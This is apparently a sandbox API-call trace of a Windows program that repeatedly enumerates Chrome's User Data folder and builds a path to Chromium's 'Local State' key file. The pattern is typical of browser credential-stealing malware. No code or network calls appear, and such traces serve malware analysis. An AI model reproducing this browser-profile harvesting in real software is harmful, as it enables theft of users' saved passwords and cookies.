[0052.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.749] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.749] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.749] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.749] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.749] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.750] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.750] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.750] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.750] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.750] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.750] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.750] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.750] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.750] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.750] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.750] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.750] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.750] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.750] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.750] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.750] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.750] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.750] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.751] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.751] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.751] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.751] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.751] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.751] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.751] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.751] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.751] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.751] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.751] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Chromium\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\"
[0052.751] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\"
[0052.751] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\"
[0052.751] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State"
[0052.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68
[0052.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x88) returned 0x67d968
[0052.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=68, lpWideCharStr=0x67d968, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State") returned 68
[0052.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x67d9f8
[0052.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.752] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\local state")) returned 0xffffffff
[0052.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0052.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.752] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*") returned 57
[0052.752] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.752] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.752] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.752] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.752] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.752] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.752] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.752] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.752] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
[0052.753] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.753] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*.*") returned 59
